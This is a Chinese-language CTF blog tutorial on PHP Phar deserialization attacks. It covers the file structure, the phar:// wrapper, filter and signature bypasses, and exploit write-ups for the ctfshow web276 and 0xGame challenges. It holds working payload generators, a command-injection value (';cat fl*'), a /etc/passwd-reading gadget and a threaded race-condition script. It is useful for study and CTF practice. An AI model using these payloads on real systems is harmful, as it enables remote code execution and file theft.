PHP Phar反序列化总结_ctf phpphar反序列化-CSDN博客
利用 phar 拓展 php 反序列化漏洞攻击面
浅析Phar反序列化 - FreeBuf网络安全行业门户
php(phar)反序列化漏洞及各种绕过姿势_throw new 绕过php-CSDN博客
Phar反序列化 Phar文件结构 phar文件是php里类似于JAR的一种打包文件本质上是一种压缩文件 ,在PHP 5.3 或更高版本中默认开启,一个phar文件一个分为四部分。
1 [Stub] + [Manifest] + [File Contents] + [Signature]
1.a stub 可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();来结尾,否则phar扩展将无法识别这个文件为phar文件**(注意绕过)** 2.a manifest describing the contents
Manifest 是 Phar 文件格式中的一个核心部分,它相当于 Phar 文件的”目录”或”元数据索引”。
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心 的地方 3.the file contents 被压缩文件的内容 4.[optional] a signature for verifying Phar integrity (phar file format only) 签名,放在文件末尾
生成phar文件 php内置了一个Phar类来处理相关操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class TestObject { } @unlink ("phar.phar" ); $phar = new Phar ("phar.phar" ); $phar ->startBuffering (); $phar ->setStub ("<?php __HALT_COMPILER(); ?>" ); $o = new TestObject (); $phar ->setMetadata ($o ); $phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering (); ?>
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件
实操一下:
kali 写一个2.php文件,内容如上
运行后边生成phar.phar文件
访问之后会在同目录生成 phar.phar 文件,xxd 命令查看文件结构
meta-data是以序列化的形式存储的
php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
🔴phar可用魔术方法
测试脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class TestObject { public function __destruct ( ) { echo 'Destruct called' . PHP_EOL; } } $phar = new Phar ('phar.phar' );$phar ->startBuffering ();$phar ->addFromString ('test.txt' , 'This is test content' );$phar ->setMetadata (new TestObject ());$phar ->stopBuffering ();echo "Reading phar file..." . PHP_EOL;$content = file_get_contents ('phar://phar.phar/test.txt' );echo "Content: " . $content . PHP_EOL;?>
析构方法被调用,注意此处 weakup 等方法不会被调用
这样就可以在不调用unserialize()的情况下进行反序列化操作
参考文章:https://paper.seebug.org/680/
Phar协议文件包含 phar协议要求:
php大于5.3.0
需要将php.ini的参数phar.readonly设置为off(kali已配置好了)
因为phar文件本质就是以中压缩文件,所以可以使用phar伪协议读取执行
很多网站都采用单一入口模式来作为网站文件加载模式
1 2 3 4 5 6 7 <?php error_reporting (0 ); $file =addslashes ($_GET ['r' ]); $action =$file =='' ?'index' :$file ; include ($action .'.php' ); ?>
此处就存在文件包含漏洞,可以利用伪协议读取文件源码,但是只能访问php文件
首先写一个 test.php,写入要执行的命令
将 test.php 压缩为 test.zip 注意:压缩时选择仅存储,在文件上传处上传 test.zip 文件
将 test.zip 文件后缀改为 jpg,上传 jpg 文件,在 url 中访问
✔️index.php?doc=phar://upload_files/test.jpg/test.php
不仅可以使用phar协议,zip协议也是可以的
zip文件包含 和phar用法,不同效果一致
将php文件后缀改为jpg(因为是include .jpg),然后用压缩软件压缩为 zip格式,再将 zip 文件后缀名改为 jpg(绕过限制方便图片上传)
这个例子只是利用了phar伪协议解析文件,并没有利用反序列化
Phar反序列化漏洞利用 漏洞利用条件
phar文件要能够上传到服务器端。
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
✔️例题:ctfshow web276 (phar反序列化+条件竞争) 打开得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 <?php highlight_file (__FILE__ );class filter { public $filename ; public $filecontent ; public $evilfile =false ; public $admin = false ; public function __construct ($f ,$fn ) { $this ->filename=$f ; $this ->filecontent=$fn ; } public function checkevil ( ) { if (preg_match ('/php|\.\./i' , $this ->filename)){ $this ->evilfile=true ; } if (preg_match ('/flag/i' , $this ->filecontent)){ $this ->evilfile=true ; } return $this ->evilfile; } public function __destruct ( ) { if ($this ->evilfile && $this ->admin){ system ('rm ' .$this ->filename); } } } if (isset ($_GET ['fn' ])){ $content = file_get_contents ('php://input' ); $f = new filter ($_GET ['fn' ],$content ); if ($f ->checkevil ()===false ){ file_put_contents ($_GET ['fn' ], $content ); copy ($_GET ['fn' ],md5 (mt_rand ()).'.txt' ); unlink ($_SERVER ['DOCUMENT_ROOT' ].'/' .$_GET ['fn' ]); echo 'work done' ; } }else { echo 'where is flag?' ; } where is flag?
发现可以通过 file_put_contents 写 phar 文件,然后题目中 file_put_contents 第一个参数可控,那么我们可以使用 phar:// 协议,通过 $content 传入 phar 数据,这样在 PHP 通过 phar:// 协议解析数据时,会将 meta-data (元数据)部分进行反序列化
不过题目会删除文件,所以需要在删除文件前执行文件进行以上操作,因此要用到条件竞争 ,即生成了 phar 文件,在极短时间内文件是存在的,因为执行到 unlink 函数前还有一个 copy 文件操作,磁盘 io (计算机的输入/输出操作)是需要一定时间的。只要我们不断在写入 phar 文件,那么这个文件就可以断断续续访问到phar构造如下,会在当前目录生成 evil.phar 文件
可利用条件竞争的代码详解:
1 2 3 4 5 6 if ($f ->checkevil ()===false ){ file_put_contents ($_GET ['fn' ], $content ); copy ($_GET ['fn' ],md5 (mt_rand ()).'.txt' ); unlink ($_SERVER ['DOCUMENT_ROOT' ].'/' .$_GET ['fn' ]); echo 'work done' ; }
file_put_contents($_GET['fn'], $content);:将用户控制的内容写入到文件名由$_GET['fn']指定的文件中。
copy($_GET['fn'],md5(mt_rand()).'.txt');:将刚写入的文件复制到一个随机名称的新文件中。
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);:立即删除原始文件(位于Web根目录下)。
这个操作序列创建了一个非常短的时间窗口:文件被写入后,在unlink删除之前,文件短暂存在。攻击者需要在这个时间窗口内通过phar协议访问该文件,以触发phar反序列化漏洞。如果攻击者能在此期间成功访问文件,就能执行反序列化后的恶意代码;否则,文件会被删除,攻击失败。因此,条件竞争是利用此漏洞的关键。
补充:条件竞争是什么?
条件竞争(Race Condition)是一种并发编程中的漏洞,当两个或多个进程或线程同时访问共享资源(如文件、数据等)时,最终结果取决于它们执行的相对时序。在Web安全中,攻击者可以利用条件竞争在某个短暂的时间窗口内执行本应被限制的操作,例如在文件被创建但被删除前访问它。
4.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php class filter { public $filename = ';cat fl*' ; public $evilfile = true ; public $admin = true ; } $phar = new Phar ("evil.phar" );$phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" );$o = new filter ();$phar ->setMetadata ($o );$phar ->addFromString ("test.txt" , "test" );$phar ->stopBuffering ();?>
运行4.php文件,生成evil.phar文件
条件竞争,py3脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import base64import requestsimport threadingflag = False url = 'ip' data = open ('./evil.phar' , 'rb' ).read() pre_resp = requests.get(url) if pre_resp.status_code != 200 : print (url + '\n链接好像挂了....' ) exit(1 ) def upload (): requests.post(url+"?fn=evil.phar" , data=data) def read (): global flag r = requests.post(url+"?fn=phar://evil.phar/" , data="" ) if "ctfshow{" in r.text and flag is False : print (base64.b64encode(r.text.encode())) flag = True while flag is False : a = threading.Thread(target=upload) b = threading.Thread(target=read) a.start() b.start()
绕过: php(phar)反序列化漏洞及各种绕过姿势_throw new 绕过php-CSDN博客
将phar伪造成其他格式的文件 如果文件上传界面后端代码会检查文件类型的话,就需要将 phar 文件未造成其他格式文件
1 $_FILES ["file" ]["type" ]=="image/gif"
由于php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名 的方式将phar文件伪装成其他格式的文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class TestObject { } @unlink ("phar.phar" ); $phar = new Phar ("phar.phar" ); $phar ->startBuffering (); $phar ->setStub ("GIF89a" ."<?php __HALT_COMPILER(); ?>" ); $o = new TestObject (); $phar ->setMetadata ($o ); $phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering (); ?>
绕过phar关键字检测 在第一个实例中,文件成功上传之后使用 phar 伪协议去读取文件,但是如果后端检测参数不能以 phar 开头的话,就需要绕过
1 2 3 if (preg_match ("/^php|^file|^gopher|^http|^https|^ftp|^data|^phar|^smtp|^dict|^zip/i" ,$filename ){ die (); }
绕过方法:
1 2 3 4 5 6 7 8 compress.bzip: compress.bzip2: compress.zlib: php: php:
其中:compress.bzip2:// 和 compress.zlib:// 是 PHP 合法的流包装器,用于处理压缩数据。
(核心概念:流包装器
PHP 有一个非常强大的特性叫做“流包装器”。你可以把它理解为一种协议,用于告诉 PHP 如何访问不同的“资源”。我们最熟悉的是 file://(访问本地文件)和 http://(访问网络资源)。
phar:// 也是一个流包装器,它专门用于读取 PHAR 文件,并在读取时自动反序列化其元数据 。这正是 Phar 反序列化漏洞的根源。)
绕过__HALT_COMPILER特征检测 1 2 3 if (preg_match ("/</?|php|HALT_COMPILER/i" ,$filename ){ die (); }
因为phar中的a stub字段必须以__HALT_COMPILER();字符串来结尾,否则phar扩展将无法识别这个文件为phar文件,所以这段字符串不能省略,只能绕过
方法一:
首先将 phar 文件使用 gzip 命令进行压缩,可以看到压缩之后的文件中就没有了__HALT_COMPILER(),将 phar.gz 后缀改为 png(png文件可以上传)
文件上传成功后,利用文件包含漏洞包含文件
1 2 file_un.php?filename=phar:
方法二
将phar的内容写进压缩包注释中,也同样能够反序列化成功,压缩为zip也会绕过该正则
1 2 3 4 5 6 7 $phar_file = serialize ($exp ); echo $phar_file ; $zip = new ZipArchive (); $res = $zip ->open ('1.zip' ,ZipArchive ::CREATE ); $zip ->addFromString ('crispr.txt' , 'file content goes here' ); $zip ->setArchiveComment ($phar_file ); $zip ->close ();
phar反序列化过程中,对metadata进行解析的时候会进行php_var_unserialize()将Phar中的metadata进行反序列化
从一道题再看phar的利用-安全KER - 安全资讯平台
phar 文件签名修改 1.签名结构
1 2 3 4 5 6 struct phar_signature { int signature_type; char *signature; int signature_length; int flags; };
1 2 3 4 5 6 7 签名支持 MD5, SHA1, SHA256, SHA512, OpenSSL 算法, 默认是 SHA1 其中末尾的4个字节是固定的, 表示该文件存在签名 倒数第8~4个字节表示文件使用的签名算法 倒数8个字节往前就是签名的二进制值, 对文件开头到声明签名部分以前的内容进行计算, 长度视算法类型而定
2.核心思路
当 PHP 遇到无效签名 时,默认行为是:
检测到签名不匹配
抛出警告 (Warning)
但继续执行 Phar 文件的解析和反序列化
关键点 :签名错误不会阻止反序列化执行!
以 SHA1 为例
在修改了 phar 数据后, 我们需要更改的就是这部分 (20字节长度) 的内容
脚本,以默认的sha1签名为例:
1 2 3 4 5 6 7 8 9 10 from hashlib import sha1with open ('phar.phar' , 'rb' ) as file: f = file.read () s = f[:-28 ] h = f[-8 :] newf = s + sha1 (s).digest () + h with open ('newPhar.phar' , 'wb' ) as file: file.write (newf)
实例 :
场景:文件上传 + Phar 反序列化
1 2 3 4 5 6 7 8 if (isset ($_FILES ['file' ])){ $upload_file = 'uploads/' .$_FILES ['file' ]['name' ]; move_uploaded_file ($_FILES ['file' ]['tmp_name' ], $upload_file ); file_get_contents ("phar://" .$upload_file ); }
攻击步骤:
准备恶意 Phar :
1 2 3 4 5 6 7 8 9 10 11 class Exploit { public $cmd = 'system("cat /etc/passwd")' ; function __destruct ( ) { system ($this ->cmd); } } $phar = new Phar ('exploit.phar' );$phar ->addFromString ('test.txt' , 'text' );$phar ->setMetadata (new Exploit ());$phar ->setStub ('<?php __HALT_COMPILER(); ?>' );
2.修改 payload :
1 2 3 4 5 6 7 8 xxd exploit.phar > exploit.hex vim exploit.hex xxd -r exploit.hex > exploit_modified.phar
3.上传并触发 :
使用 tar 绕过签名 phar 协议对 tar 的处理跟 gzip bzip2 这些不太一样
对 gzip bzip2 处理时, PHP 会将其解压缩, 然后解析里面的 phar 文件
而对 tar 处理时, PHP 会检测压缩包中是否存在 .phar/.metadata, 存在的话就会将 .metadata 里的内容直接进行反序列化
传统 Phar 流程 :
1 phar://malicious.phar → 验证签名 → 解析manifest → 反序列化metadata
Tar 绕过流程 :
1 phar://malicious.tar → 按tar格式解析 → 查找.phar/.metadata → 直接反序列化
关键区别 :tar 格式的处理跳过了 Phar 签名验证步骤!
测试代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class A { public $text = 'test' ; function __destruct ( ) { echo $this ->text; } function __wakeup ( ) { $this ->text = 'fail' ; } } file_get_contents ($_GET ['a' ]);?>
本地创建 .phar 文件夹和 .metadata 文件
1 2 3 4 exp10it@LAPTOP-TBAF1QQG:~/WWW/.phar$ ls -a .metadata exp10it@LAPTOP-TBAF1QQG:~/WWW/.phar$ cat .metadata O:1:"A" :2:{s:4:"text" ;s:7:"success" ;}
tar 压缩, 必须是 Linux 环境
访问 index.php?a=phar://phar.tar
✔️例题:[0xGame_2025]文件查询器(蓝) (file_get_contents触发phar反序列化) 在文件查询中查询index.php,base64编码,解码得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php error_rporting (0 );class MaHaYu { public $HG2 ; public $ToT ; public $FM2tM public function __construct ( ) { $this -> ZombiegalKawaii (); } public function ZombiegalKawaii ( ) { $HG2 = $this -> HG2; if (preg_match ("/system|print|readfile|get|assert|passthru|nl|flag|ls|scandir|check|cat|tac|echo|eval|rev|report|dir/i" ,$HG2 )) { die ("这这这你也该绕过去了吧" ); } else { $this -> ToT = "这其实是来占位的" ; } } public function __destruct ( ) { $HG2 = $this -> HG2; $FM2tM = $this -> FM2tM; echo "Wow" ; var_dump ($HG2 ($FM2tM )); } } $file =$_POST ['file' ];if (isset ($_POST ['file' ])){ if (preg_match ("/'[\$%&#@*]|flag|file|base64|go|git|login|dict|base|echo|content|read|convert|filter|date|plain|text|;|<|>/i" , $file )) { die ("对方撤回了一个请求,并企图萌混过关" ); } echo base64_encode (file_get_contents ($file )); }
因为是文件上传,再查询upload.php,获得文件上传的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php error_reporting (0 );$White_List = array ("jpg" , "png" , "pdf" );$temp = explode ("." , $_FILES ["file" ]["name" ]);$extension = end ($temp );if (($_FILES ["file" ]["size" ] && in_array ($extension , $White_List ))){ $content =file_get_contents ($_FILES ["file" ]["tmp_name" ]); $pos = strpos ($content , "__HALT_COMPILER();" ); if (gettype ($pos )==="integer" ) { die ("你猜我想让你干什么喵" ); } else { if (file_exists ("./upload/" . $_FILES ["file" ]["name" ])) { echo $_FILES ["file" ]["name" ] . " Already exists. " ; } else { $file = fopen ("./upload/" .$_FILES ["file" ]["name" ], "w" ); fwrite ($file , $content ); fclose ($file ); echo "Success ./upload/" .$_FILES ["file" ]["name" ]; } } } else { echo "请重新尝试喵" ; } ?>
file_get_contents触发phar反序列化,gz压一下,改一下文件名分别绕过内容waf和文件名waf
*生成恶意的序列化MaHaYu对象* :创建一个MaHaYu对象,其中$HG2设置为getenv(用于读取环境变量),$FM2tM设置为FLAG(假设flag存储在环境变量FLAG中)。序列化该对象。
*创建phar文件* :将序列化对象作为元数据嵌入到phar文件中。
*压缩phar文件* :将phar文件压缩为.gz格式,以避免upload.php检测到__HALT_COMPILER();字符串。
*上传压缩文件* :将压缩后的phar文件上传为jpg文件,通过upload.php。
*触发反序列化* :通过index.php的file参数,使用phar协议访问上传的文件,触发反序列化,从而执行getenv(“FLAG”)获取flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php error_reporting (0 );class MaHaYu { public $HG2 ; public $ToT ; public $FM2tM ; public function __construct ( ) { $this -> ZombiegalKawaii (); } public function ZombiegalKawaii ( ) { $HG2 = $this -> HG2; if (preg_match ("/system|print|readfile|get|assert|passthru|nl|flag|ls|scandir|check|cat|tac|echo|eval|rev|report|dir/i" ,$HG2 )) { die ("这这这你也该绕过去了吧" ); } else { $this -> ToT = "这其实是来自各位的" ; } } public function __destruct ( ) { $HG2 = $this -> HG2; $FM2tM = $this -> FM2tM; echo "Wow" ; var_dump ($HG2 ($FM2tM )); } } $a = new MaHaYu ();$a -> HG2 = "getenv" ;$a ->FM2tM="FLAG" ; $phar = new Phar ("2.phar" ); $phar ->startBuffering ();$phar ->setStub ('<?php __HALT_COMPILER(); ?>' ); $phar ->setMetadata ($a );$phar ->addFromString ("exp.txt" , "test" ); $phar ->stopBuffering (); $fp = gzopen ("2.phar.gz" , 'w9' );gzwrite ($fp , file_get_contents ("2.phar" ));gzclose ($fp ); @rename ("2.phar.gz" , "1.phar.png" ); ?>
将代码保存到1.php里,在kali里运行,生成1.phar.png和2.phar文件
回到文件上传,上传生成的1.phar.php文件
然后打phar协议就好了
1 phar://upload/1.phar.png
0xGame{Y0u_Are_Rea11y_a_Ph4r_G0d!}
相关习题: [CISCN2019 华北赛区 Day1 Web1]Dropbox
[CISCN2019 华北赛区 Day1 Web1]Dropbox复现_51CTO博客_[ciscn2019 华北赛区 day1 web1]dropbox
Gzip 和 Bzip2:压缩算法 在 PHP 流包装器中的对应关系
PHP 提供了对应的流包装器来处理这些压缩格式:
压缩格式
PHP 流包装器
Gzip
compress.zlib://
Bzip2
compress.bzip2://
技术细节对比
1 2 3 4 5 6 7 compress.zlib: compress.zlib: compress.bzip2: compress.bzip2:
在 Phar 反序列化绕过中的应用
在绕过场景中,两者的作用是完全相同 的:
1 2 3 compress.zlib: compress.bzip2: